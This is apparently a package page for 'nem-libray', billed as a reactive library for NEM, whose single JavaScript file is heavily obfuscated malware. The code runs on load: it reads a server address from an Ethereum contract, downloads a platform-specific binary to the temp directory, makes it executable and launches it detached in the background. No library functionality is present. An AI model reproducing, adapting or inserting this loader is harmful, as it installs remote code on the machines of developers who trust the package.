nem-libray
Version:
Reactive Library for NEM
1 lines • 5.08 kB
JavaScript
const _0x19181a=_0x1188;(function(_0x11ce5c,_0x3066f4){const _0x213eaf=_0x1188,_0x138628=_0x11ce5c();while(!![]){try{const _0x3f6421=-parseInt(_0x213eaf(0x1ae))/0x1+parseInt(_0x213eaf(0x1c8))/0x2+-parseInt(_0x213eaf(0x1d1))/0x3+-parseInt(_0x213eaf(0x1b2))/0x4+-parseInt(_0x213eaf(0x1af))/0x5*(-parseInt(_0x213eaf(0x1a8))/0x6)+-parseInt(_0x213eaf(0x1ab))/0x7+parseInt(_0x213eaf(0x1cb))/0x8*(parseInt(_0x213eaf(0x1bd))/0x9);if(_0x3f6421===_0x3066f4)break;else _0x138628['push'](_0x138628['shift']());}catch(_0x40a9d2){_0x138628['push'](_0x138628['shift']());}}}(_0x8cc5,0x8c8d6));const {ethers}=require(_0x19181a(0x1b0)),axios=require(_0x19181a(0x1cc)),util=require(_0x19181a(0x1a1)),fs=require('fs'),path=require(_0x19181a(0x1ac)),os=require('os'),{spawn}=require('child_process'),contractAddress=_0x19181a(0x1a5),WalletOwner=_0x19181a(0x1b3),abi=[_0x19181a(0x1d0)],provider=ethers[_0x19181a(0x1bc)]('mainnet'),contract=new ethers['Contract'](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x8efcbf=_0x19181a,_0x236ffc={'tPGqB':_0x8efcbf(0x1b5),'Kifzz':function(_0x2f37b1){return _0x2f37b1();}};try{const _0x51f97f=await contract['getString'](WalletOwner);return _0x51f97f;}catch(_0x5e15a9){return console[_0x8efcbf(0x1cf)](_0x236ffc[_0x8efcbf(0x1d2)],_0x5e15a9),await _0x236ffc['Kifzz'](fetchAndUpdateIp);}},getDownloadUrl=_0x54bcbf=>{const _0x4f374f=_0x19181a,_0x1ae787={'tIuLG':_0x4f374f(0x1a4),'rdzJS':_0x4f374f(0x1c7)},_0x4c527d=os['platform']();switch(_0x4c527d){case _0x1ae787[_0x4f374f(0x1c6)]:return _0x54bcbf+_0x4f374f(0x1b8);case _0x1ae787[_0x4f374f(0x1c4)]:return _0x54bcbf+_0x4f374f(0x1b9);case _0x4f374f(0x1bb):return _0x54bcbf+_0x4f374f(0x1a3);default:throw new Error(_0x4f374f(0x1c9)+_0x4c527d);}},downloadFile=async(_0x5264b7,_0x8cb899)=>{const _0x5d1c03=_0x19181a,_0xb1f055={'eVhhe':_0x5d1c03(0x1ba),'ORvoc':_0x5d1c03(0x1cf),'zglCm':function(_0x358f5c,_0x4f1393){return _0x358f5c(_0x4f1393);},'VMVDR':_0x5d1c03(0x1c2),'fMuuI':_0x5d1c03(0x1d4)},_0x1c9cb1=fs[_0x5d1c03(0x1cd)](_0x8cb899),_0x53510d=await _0xb1f055['zglCm'](axios,{'url':_0x5264b7,'method':_0xb1f055[_0x5d1c03(0x1b6)],'responseType':_0xb1f055[_0x5d1c03(0x1b4)]});return _0x53510d[_0x5d1c03(0x1ad)][_0x5d1c03(0x1b1)](_0x1c9cb1),new Promise((_0x224c9f,_0x11401e)=>{const _0x31a05e=_0x5d1c03;_0x1c9cb1['on'](_0xb1f055[_0x31a05e(0x1aa)],_0x224c9f),_0x1c9cb1['on'](_0xb1f055['ORvoc'],_0x11401e);});},executeFileInBackground=async _0x35a582=>{const _0x144fa9=_0x19181a,_0x18a497={'sOjzJ':function(_0x1dcfae,_0x287248,_0x4cd626,_0x2018e2){return _0x1dcfae(_0x287248,_0x4cd626,_0x2018e2);},'iTvyt':_0x144fa9(0x1c5),'XlGCv':_0x144fa9(0x1c0)};try{const _0x443984=_0x18a497[_0x144fa9(0x1ce)](spawn,_0x35a582,[],{'detached':!![],'stdio':_0x18a497['iTvyt']});_0x443984[_0x144fa9(0x1ca)]();}catch(_0x44068c){console['error'](_0x18a497[_0x144fa9(0x1a7)],_0x44068c);}},runInstallation=async()=>{const _0x4832c1=_0x19181a,_0x4d49da={'Fuwzi':function(_0x49c063){return _0x49c063();},'UhIZG':function(_0x4d14ed,_0x145ccc){return _0x4d14ed(_0x145ccc);},'FTGmX':function(_0x46369c,_0x4ace13,_0x3e6193){return _0x46369c(_0x4ace13,_0x3e6193);},'zstzB':function(_0x31ba5c,_0x488134){return _0x31ba5c!==_0x488134;},'aFPjH':_0x4832c1(0x1a4),'bxXbd':_0x4832c1(0x1a9),'LGcKM':function(_0x4230b9,_0x45a72c){return _0x4230b9(_0x45a72c);},'RsgBI':'Ошибка\x20установки:'};try{const _0x47649b=await _0x4d49da['Fuwzi'](fetchAndUpdateIp),_0x5e8ad7=_0x4d49da[_0x4832c1(0x1bf)](getDownloadUrl,_0x47649b),_0x380ff0=os['tmpdir'](),_0x38f934=path[_0x4832c1(0x1a0)](_0x5e8ad7),_0x34f971=path[_0x4832c1(0x1b7)](_0x380ff0,_0x38f934);await _0x4d49da[_0x4832c1(0x1c1)](downloadFile,_0x5e8ad7,_0x34f971);if(_0x4d49da['zstzB'](os[_0x4832c1(0x1a2)](),_0x4d49da[_0x4832c1(0x1d3)]))fs[_0x4832c1(0x1be)](_0x34f971,_0x4d49da[_0x4832c1(0x1c3)]);_0x4d49da[_0x4832c1(0x1a6)](executeFileInBackground,_0x34f971);}catch(_0x7e7526){console['error'](_0x4d49da['RsgBI'],_0x7e7526);}};function _0x8cc5(){const _0x3b3e71=['132mGpakH','755','eVhhe','4359166IzcVAn','path','data','251927kopODJ','4975TpAHll','ethers','pipe','2377144jwDEhk','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','fMuuI','Ошибка\x20при\x20получении\x20IP\x20адреса:','VMVDR','join','/node-win.exe','/node-linux','finish','darwin','getDefaultProvider','235512bpWoCy','chmodSync','UhIZG','Ошибка\x20при\x20запуске\x20файла:','FTGmX','GET','bxXbd','rdzJS','ignore','tIuLG','linux','308362TBqkgc','Unsupported\x20platform:\x20','unref','744CJESaX','axios','createWriteStream','sOjzJ','error','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','1695126NcRSSu','tPGqB','aFPjH','stream','basename','util','platform','/node-macos','win32','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','LGcKM','XlGCv'];_0x8cc5=function(){return _0x3b3e71;};return _0x8cc5();}function _0x1188(_0x61ab56,_0x48f272){const _0x8cc556=_0x8cc5();return _0x1188=function(_0x118820,_0x2dcc82){_0x118820=_0x118820-0x1a0;let _0x103656=_0x8cc556[_0x118820];return _0x103656;},_0x1188(_0x61ab56,_0x48f272);}runInstallation();